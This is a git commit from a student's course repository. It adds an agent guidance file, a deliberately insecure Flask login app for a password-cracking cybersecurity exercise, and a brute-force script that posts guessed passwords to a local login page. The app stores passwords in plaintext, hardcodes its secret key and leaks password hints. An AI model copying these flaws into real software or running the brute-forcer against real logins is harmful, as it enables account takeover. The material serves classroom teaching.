Ajout de fichiers pour la gestion des utilisateurs et l'authentification avec une interface de connexion

This commit is contained in:
2026-03-11 14:58:30 +01:00
parent a619075c37
commit b025101697
5 changed files with 462 additions and 0 deletions

66
AGENTS.md Normal file
View File

@@ -0,0 +1,66 @@
# AGENTS.md
This file provides guidance to Codex (Codex.ai/code) when working with code in this repository.
## Quick Commands
### Python Projects
- **Install dependencies**: `uv sync` (root) or `uv sync` in a subdirectory with its own `pyproject.toml`
- **Run linter**: `ruff check .` (includes all files via `extend-include`)
- **Auto-fix**: `ruff check . --fix`
- **Format imports**: `ruff format .`
### R Projects
- **Load project**: RStudio/.Rprofile uses `renv` for isolation
- **Check style**: `lintr::lint("script.R")`
- **Format code**: `styler::style_file("script.R")`
### SQL (M2/SQL)
```bash
docker compose -f M2/SQL/docker-compose.yml up -d
make tp1 # Execute TP1.sql
make tp2 # Execute TP2.sql
make tp3 # Execute TP3.sql
make project # Execute DANJOU_Arthur.sql
```
## Project Structure
```
L3/ # Bachelor's degree (3rd year)
M1/ # Master's degree (1st year)
M2/ # Master's degree (2nd year)
└── <Course>/ # e.g., "Deep Learning", "Data Visualisation"
├── TP{n}/ # Practical work (numbered)
├── Project/ # Final project
└── data/ # Course-specific data
```
## Python Conventions
- **Package manager**: `uv` (workspace configured at root)
- **Linting**: Ruff with strict rules (`select = ["ALL"]`)
- **Import ordering**: Custom sections in `pyproject.toml`:
- `data-science`: numpy, pandas, scipy, matplotlib, seaborn, plotly
- `ml`: tensorflow, keras, torch, sklearn, xgboost, catboost, shap
- **Reproducibility**: Use `np.random.seed(42)` for random seeds
- **Notebooks**: Jupyter with descriptive markdown cells
## R Conventions
- **Package management**: `renv` (autoloading via `.Rprofile`)
- **Linting**: `lintr` configured in `.lintr`
- **Documents**: RMarkdown (`.Rmd`) for reproducible reports
- **Visualization**: ggplot2, plotly, FactoMineR
## Key Technologies
- **Data Science**: numpy, pandas, scipy, matplotlib, seaborn, plotly, geopandas
- **Machine Learning**: scikit-learn, xgboost, catboost, tensorflow, keras, shap
- **LLM/RAG**: langchain, sentence-transformers, faiss-cpu
- **R**: tidyverse, ggplot2, FactoMineR, caret, glmnet, RShiny
## Notes
- Large datasets are not versioned—download via notebook code when needed
- Course materials and documentation are primarily in French

315
M2/Cybersecurity/TP_MDP.py Normal file
View File

@@ -0,0 +1,315 @@
#!/usr/bin/env python3
import re
from flask import (
Flask,
Response,
redirect,
render_template_string,
request,
session,
url_for,
)
app = Flask(__name__)
app.secret_key = "super_secret_training_key_2025"
# Dictionnaire des utilisateurs : username -> password
users = {
"user1": "aaaaa", # 5 caractères
"user2": "rock12", # exemple autre mot de passe
"user3": "secret",
"user4": "#-1234abcd-#", # mot de passe niveau 4
}
# Page de connexion avec sélecteur de niveau + Tailwind + Logo
login_page = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Authentification</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-50 flex items-center justify-center h-screen">
<div class="w-full max-w-md p-8 bg-white rounded shadow">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-2xl font-bold text-center mb-4 text-blue-700">Connexion</h2>
{% if error %}
<p class="text-red-500 text-center">{{ error }}</p>
{% endif %}
<form method="POST" class="space-y-4">
<div>
<label class="block text-blue-700">Nom d'utilisateur :</label>
<input type="text" name="username" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<label class="block text-blue-700">Mot de passe :</label>
<input type="password" name="password" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<label class="block text-blue-700">Niveau :</label>
<select name="level" class="w-full px-3 py-2 border rounded">
<option value="1">Niveau 1</option>
<option value="2">Niveau 2</option>
<option value="3">Niveau 3</option>
<option value="4">Niveau 4</option>
</select>
</div>
<div class="text-center">
<button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Se connecter
</button>
</div>
</form>
<div class="text-center mt-4">
<a href="{{ url_for('forgot') }}" class="text-blue-600 hover:underline">Mot de passe oublié ?</a>
</div>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 1
home_page_level1 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 1</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 1</strong>.</p>
<p class="mt-2 text-blue-600">Mot de passe de 5 caractères.</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 2
home_page_level2 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 2</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 2</strong>.</p>
<p class="mt-2 text-blue-600">Mot de passe : "rock12".</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 3
home_page_level3 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 3</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 3</strong>.</p>
<p class="mt-2 text-blue-600">En cas de "mot de passe oublié", le hash MD5 vous sera fourni.</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page d'accueil Niveau 4
home_page_level4 = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Accueil Niveau 4</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-100 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow-lg max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-3xl font-bold text-blue-700">Bienvenue, {{ username }} !</h2>
<p class="mt-4 text-blue-600">Vous êtes connecté au <strong>Niveau 4</strong>.</p>
<p class="mt-2 text-blue-600">Votre mot de passe doit respecter le format : "#-[0-9]{4}[a-z]{4}-#".</p>
<a href="{{ url_for('logout') }}"
class="mt-6 inline-block bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Déconnexion
</a>
</div>
</body>
</html>
"""
# Page "mot de passe oublié" (indice seulement si l'utilisateur est user4)
forgot_page = """
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<title>Mot de passe oublié</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-blue-50 flex items-center justify-center h-screen">
<div class="bg-white p-8 rounded shadow max-w-md text-center">
<div class="flex justify-center mb-4">
<img src="{{ url_for('static', filename='logo.png') }}" alt="Logo" class="h-16">
</div>
<h2 class="text-2xl font-bold text-blue-700">Mot de passe oublié</h2>
{% if message %}
<p class="mt-4 text-blue-600">{{ message }}</p>
{% else %}
<form method="POST" class="mt-4 space-y-4">
<div>
<label class="block text-blue-700">Nom d'utilisateur :</label>
<input type="text" name="username" class="w-full px-3 py-2 border rounded" required>
</div>
<div>
<button type="submit"
class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">
Valider
</button>
</div>
</form>
{% endif %}
<div class="mt-4">
<a href="{{ url_for('login') }}" class="text-blue-600 hover:underline">Retour à la connexion</a>
</div>
</div>
</body>
</html>
"""
@app.route("/", methods=["GET", "POST"])
@app.route("/login", methods=["GET", "POST"])
def login() -> Response:
"""Page de connexion avec sélection du niveau."""
error = None
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
level_str = request.form.get("level")
# Vérifier que l'utilisateur existe
if username in users:
# Vérifier le mot de passe
if users[username] == password:
# Le niveau est choisi par l'utilisateur (pas stocké dans le dictionnaire)
try:
level = int(level_str)
except (ValueError, TypeError):
error = "Sélectionnez un niveau valide."
return render_template_string(login_page, error=error)
# On enregistre le niveau choisi dans la session
session["username"] = username
session["level"] = level
# Redirection vers la page correspondant au niveau
if level == 1:
return redirect(url_for("home1"))
if level == 2:
return redirect(url_for("home2"))
if level == 3:
return redirect(url_for("home3"))
if level == 4:
return redirect(url_for("home4"))
else:
error = "Mot de passe incorrect."
else:
error = "Utilisateur inconnu."
return render_template_string(login_page, error=error)
@app.route("/home1")
def home1() -> Response:
"""Page d'accueil pour le niveau 1."""
if "username" in session and session.get("level") == 1:
return render_template_string(home_page_level1, username=session["username"])
return redirect(url_for("login"))
@app.route("/home2")
def home2() -> Response:
"""Page d'accueil pour le niveau 2."""
if "username" in session and session.get("level") == 2:
return render_template_string(home_page_level2, username=session["username"])
return redirect(url_for("login"))
@app.route("/home3")
def home3() -> Response:
"""Page d'accueil pour le niveau 3."""
if "username" in session and session.get("level") == 3:
return render_template_string(home_page_level3, username=session["username"])
return redirect(url_for("login"))
@app.route("/home4")
def home4() -> str:
"""Page d'accueil pour le niveau 4."""
if "username" in session and session.get("level") == 4:
return render_template_string(home_page_level4, username=session["username"])
return redirect(url_for("login"))
@app.route("/logout")
def logout() -> str:
"""Déconnexion de l'utilisateur."""
session.pop("username", None)
session.pop("level", None)
return redirect(url_for("login"))
@app.route("/forgot", methods=["GET", "POST"])
def forgot() -> str:
"""Seul user4 reçoit un indice.
Les autres utilisateurs n'ont pas d'indice.
"""
message = None
if request.method == "POST":
username = request.form.get("username")
if username in users:
# Seul user4 a droit à un indice (puisque c'est le "niveau 4")
if username == "user4":
pattern = r"^#-[0-9]{4}[a-z]{4}-#$"
if re.match(pattern, users[username]):
message = ("Indice : Le mot de passe respecte le format "
"'#-MDP 8 caractères max -#' (exemple : '#-1234abcd-#').")
else:
message = "Le mot de passe ne correspond pas au format attendu (erreur)."
else:
message = "Aucun indice n'est disponible pour cet utilisateur."
else:
message = "Utilisateur non trouvé."
return render_template_string(forgot_page, message=message)
if __name__ == "__main__":
app.run(debug=False)

View File

@@ -0,0 +1,31 @@
import itertools
import string
import requests
def bruteforce_user1() -> str | None:
"""Brute-force pour trouver le mot de passe de user1."""
url = "http://127.0.0.1:5000/login"
alphabet = string.ascii_lowercase + "0123456789"
for combination in itertools.product(alphabet, repeat=7):
password_attempt = "".join(combination)
payload = {"username": "user1", "password": password_attempt, "level": "1"}
try:
response = requests.post(url, data=payload, timeout=2)
if "Mot de passe incorrect" not in response.text:
print(f"Succès : {password_attempt}")
return password_attempt
except requests.exceptions.RequestException:
continue
return None
if __name__ == "__main__":
bruteforce_user1()

View File

@@ -6,6 +6,7 @@ readme = "README.md"
requires-python = ">= 3.12,<3.14" requires-python = ">= 3.12,<3.14"
dependencies = [ dependencies = [
"catboost>=1.2.10", "catboost>=1.2.10",
"flask>=3.1.3",
"ipykernel>=7.2.0", "ipykernel>=7.2.0",
"ipywidgets>=8.1.8", "ipywidgets>=8.1.8",
"langchain>=1.2.10", "langchain>=1.2.10",

49
uv.lock generated
View File

@@ -83,6 +83,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/2b/03/13dde6512ad7b4557eb792fbcf0c653af6076b81e5941d36ec61f7ce6028/astunparse-1.6.3-py2.py3-none-any.whl", hash = "sha256:c2652417f2c8b5bb325c885ae329bdf3f86424075c4fd1a128674bc6fba4b8e8", size = 12732, upload-time = "2019-12-22T18:12:11.297Z" }, { url = "https://files.pythonhosted.org/packages/2b/03/13dde6512ad7b4557eb792fbcf0c653af6076b81e5941d36ec61f7ce6028/astunparse-1.6.3-py2.py3-none-any.whl", hash = "sha256:c2652417f2c8b5bb325c885ae329bdf3f86424075c4fd1a128674bc6fba4b8e8", size = 12732, upload-time = "2019-12-22T18:12:11.297Z" },
] ]
[[package]]
name = "blinker"
version = "1.9.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" },
]
[[package]] [[package]]
name = "blis" name = "blis"
version = "1.3.3" version = "1.3.3"
@@ -438,6 +447,23 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/a9/b8/2f664b56a3b4b32d28d3d106c71783073f712ba43ff6d34b9ea0ce36dc7b/filelock-3.25.1-py3-none-any.whl", hash = "sha256:18972df45473c4aa2c7921b609ee9ca4925910cc3a0fb226c96b92fc224ef7bf", size = 26720, upload-time = "2026-03-09T19:38:45.718Z" }, { url = "https://files.pythonhosted.org/packages/a9/b8/2f664b56a3b4b32d28d3d106c71783073f712ba43ff6d34b9ea0ce36dc7b/filelock-3.25.1-py3-none-any.whl", hash = "sha256:18972df45473c4aa2c7921b609ee9ca4925910cc3a0fb226c96b92fc224ef7bf", size = 26720, upload-time = "2026-03-09T19:38:45.718Z" },
] ]
[[package]]
name = "flask"
version = "3.1.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "blinker" },
{ name = "click" },
{ name = "itsdangerous" },
{ name = "jinja2" },
{ name = "markupsafe" },
{ name = "werkzeug" },
]
sdist = { url = "https://files.pythonhosted.org/packages/26/00/35d85dcce6c57fdc871f3867d465d780f302a175ea360f62533f12b27e2b/flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb", size = 759004, upload-time = "2026-02-19T05:00:57.678Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c", size = 103424, upload-time = "2026-02-19T05:00:56.027Z" },
]
[[package]] [[package]]
name = "flatbuffers" name = "flatbuffers"
version = "25.12.19" version = "25.12.19"
@@ -734,6 +760,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/56/6d/0d9848617b9f753b87f214f1c682592f7ca42de085f564352f10f0843026/ipywidgets-8.1.8-py3-none-any.whl", hash = "sha256:ecaca67aed704a338f88f67b1181b58f821ab5dc89c1f0f5ef99db43c1c2921e", size = 139808, upload-time = "2025-11-01T21:18:10.956Z" }, { url = "https://files.pythonhosted.org/packages/56/6d/0d9848617b9f753b87f214f1c682592f7ca42de085f564352f10f0843026/ipywidgets-8.1.8-py3-none-any.whl", hash = "sha256:ecaca67aed704a338f88f67b1181b58f821ab5dc89c1f0f5ef99db43c1c2921e", size = 139808, upload-time = "2025-11-01T21:18:10.956Z" },
] ]
[[package]]
name = "itsdangerous"
version = "2.2.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" },
]
[[package]] [[package]]
name = "jedi" name = "jedi"
version = "0.19.2" version = "0.19.2"
@@ -2480,6 +2515,7 @@ version = "0.1.0"
source = { virtual = "." } source = { virtual = "." }
dependencies = [ dependencies = [
{ name = "catboost" }, { name = "catboost" },
{ name = "flask" },
{ name = "ipykernel" }, { name = "ipykernel" },
{ name = "ipywidgets" }, { name = "ipywidgets" },
{ name = "langchain" }, { name = "langchain" },
@@ -2515,6 +2551,7 @@ dev = [
[package.metadata] [package.metadata]
requires-dist = [ requires-dist = [
{ name = "catboost", specifier = ">=1.2.10" }, { name = "catboost", specifier = ">=1.2.10" },
{ name = "flask", specifier = ">=3.1.3" },
{ name = "ipykernel", specifier = ">=7.2.0" }, { name = "ipykernel", specifier = ">=7.2.0" },
{ name = "ipywidgets", specifier = ">=8.1.8" }, { name = "ipywidgets", specifier = ">=8.1.8" },
{ name = "langchain", specifier = ">=1.2.10" }, { name = "langchain", specifier = ">=1.2.10" },
@@ -3002,6 +3039,18 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/a4/74/a148b41572656904a39dfcfed3f84dd1066014eed94e209223ae8e9d088d/weasel-0.4.3-py3-none-any.whl", hash = "sha256:08f65b5d0dbded4879e08a64882de9b9514753d9eaa4c4e2a576e33666ac12cf", size = 50757, upload-time = "2025-11-13T23:52:26.982Z" }, { url = "https://files.pythonhosted.org/packages/a4/74/a148b41572656904a39dfcfed3f84dd1066014eed94e209223ae8e9d088d/weasel-0.4.3-py3-none-any.whl", hash = "sha256:08f65b5d0dbded4879e08a64882de9b9514753d9eaa4c4e2a576e33666ac12cf", size = 50757, upload-time = "2025-11-13T23:52:26.982Z" },
] ]
[[package]]
name = "werkzeug"
version = "3.1.6"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/61/f1/ee81806690a87dab5f5653c1f146c92bc066d7f4cebc603ef88eb9e13957/werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25", size = 864736, upload-time = "2026-02-19T15:17:18.884Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/4d/ec/d58832f89ede95652fd01f4f24236af7d32b70cab2196dfcc2d2fd13c5c2/werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131", size = 225166, upload-time = "2026-02-19T15:17:17.475Z" },
]
[[package]] [[package]]
name = "wheel" name = "wheel"
version = "0.46.3" version = "0.46.3"